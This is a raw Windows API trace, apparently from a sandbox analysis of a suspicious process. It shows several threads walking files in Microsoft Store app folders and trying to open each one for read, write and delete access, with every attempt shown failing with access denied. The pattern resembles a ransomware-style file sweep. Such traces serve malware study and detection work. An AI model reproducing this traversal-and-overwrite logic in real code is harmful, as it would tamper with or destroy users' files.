	[0090.791] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.791] wcscat (in: _Dest=0x4ebc178, _Source="GetStartedSplash.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png"
	[0090.791] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200_contrast-black.png")) returned 0x20
	[0090.791] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.791] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.791] GetLastError () returned 0x5
	[0090.791] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.791] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7feab8fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x54ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedSplash.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.791] wcscmp (_String1="GetStartedSplash.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.791] wcscmp (_String1="GetStartedSplash.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebc520
	[0090.791] wcscpy (in: _Dest=0x4ebc520, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.791] wcscat (in: _Dest=0x4ebc520, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.792] wcscat (in: _Dest=0x4ebc520, _Source="GetStartedSplash.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png"
	[0090.792] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200_contrast-white.png")) returned 0x20
	[0090.792] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.792] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.792] GetLastError () returned 0x5
	[0090.792] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc520) returned 1
	[0090.792] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedWideTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.792] wcscmp (_String1="GetStartedWideTile.scale-200.png", _String2=".") returned 1
	[0090.792] wcscmp (_String1="GetStartedWideTile.scale-200.png", _String2="..") returned 1
	[0090.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d5af20
	[0090.792] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.792] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.792] wcscat (in: _Dest=0x2d5af20, _Source="GetStartedWideTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png"
	[0090.792] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200.png")) returned 0x20
	[0090.795] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.795] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.795] GetLastError () returned 0x5
	[0090.795] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.795] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedWideTile.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.795] wcscmp (_String1="GetStartedWideTile.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.795] wcscmp (_String1="GetStartedWideTile.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12e) returned 0x4ebc8c8
	[0090.795] wcscpy (in: _Dest=0x4ebc8c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.795] wcscat (in: _Dest=0x4ebc8c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.796] wcscat (in: _Dest=0x4ebc8c8, _Source="GetStartedWideTile.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png"
	[0090.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200_contrast-black.png")) returned 0x20
	[0090.796] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.796] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.796] GetLastError () returned 0x5
	[0090.796] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0090.796] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedWideTile.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.796] wcscmp (_String1="GetStartedWideTile.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.796] wcscmp (_String1="GetStartedWideTile.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12e) returned 0x4ebc178
	[0090.796] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.796] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.796] wcscat (in: _Dest=0x4ebc178, _Source="GetStartedWideTile.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png"
	[0090.797] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200_contrast-white.png")) returned 0x20
	[0090.797] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.797] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.797] GetLastError () returned 0x5
	[0090.797] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.797] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedWideTile.scale-200_contrast-white.png", cAlternateFileName="")) returned 0
	[0090.797] FindClose (in: hFindFile=0x46a6c10 | out: hFindFile=0x46a6c10) returned 1
	[0090.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47135b0) returned 1
	[0090.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773ef0) returned 1
	[0090.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477dda8) returned 1

Thread:
	id = 919
	os_tid = 0x1168

	[0082.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x4716e28
	[0082.267] wcscpy (in: _Dest=0x4716e28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.267] wcscat (in: _Dest=0x4716e28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.267] wcscat (in: _Dest=0x4716e28, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713818
	[0082.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad8fd68, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6c50
	[0082.268] wcscmp (_String1=".", _String2=".") returned 0
	[0082.268] FindNextFileW (in: hFindFile=0x46a6c50, lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad8fd68, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.268] wcscmp (_String1="..", _String2=".") returned 1
	[0082.268] wcscmp (_String1="..", _String2="..") returned 0
	[0082.268] FindNextFileW (in: hFindFile=0x46a6c50, lpFindFileData=0x4713818 | out: lpFindFileData=0x4713818*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad8fd68, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.268] FindClose (in: hFindFile=0x46a6c50 | out: hFindFile=0x46a6c50) returned 1
	[0082.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4713818) returned 1
	[0082.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0082.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1

Thread:
	id = 920
	os_tid = 0x1370

	[0082.269] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.270] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.270] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.271] GetLastError () returned 0x5
	[0082.271] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767978) returned 1

Thread:
	id = 921
	os_tid = 0x1378

	[0082.272] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.274] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.275] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.276] GetLastError () returned 0x5
	[0082.276] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9910) returned 1

Thread:
	id = 922
	os_tid = 0x13a4

	[0082.278] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0082.280] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.283] GetLastError () returned 0x5
	[0082.283] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.284] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e95d0) returned 1

Thread:
	id = 923
	os_tid = 0x13a8

	[0082.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cbcb0
	[0082.285] wcscpy (in: _Dest=0x47cbcb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.285] wcscat (in: _Dest=0x47cbcb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.285] wcscat (in: _Dest=0x47cbcb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713818
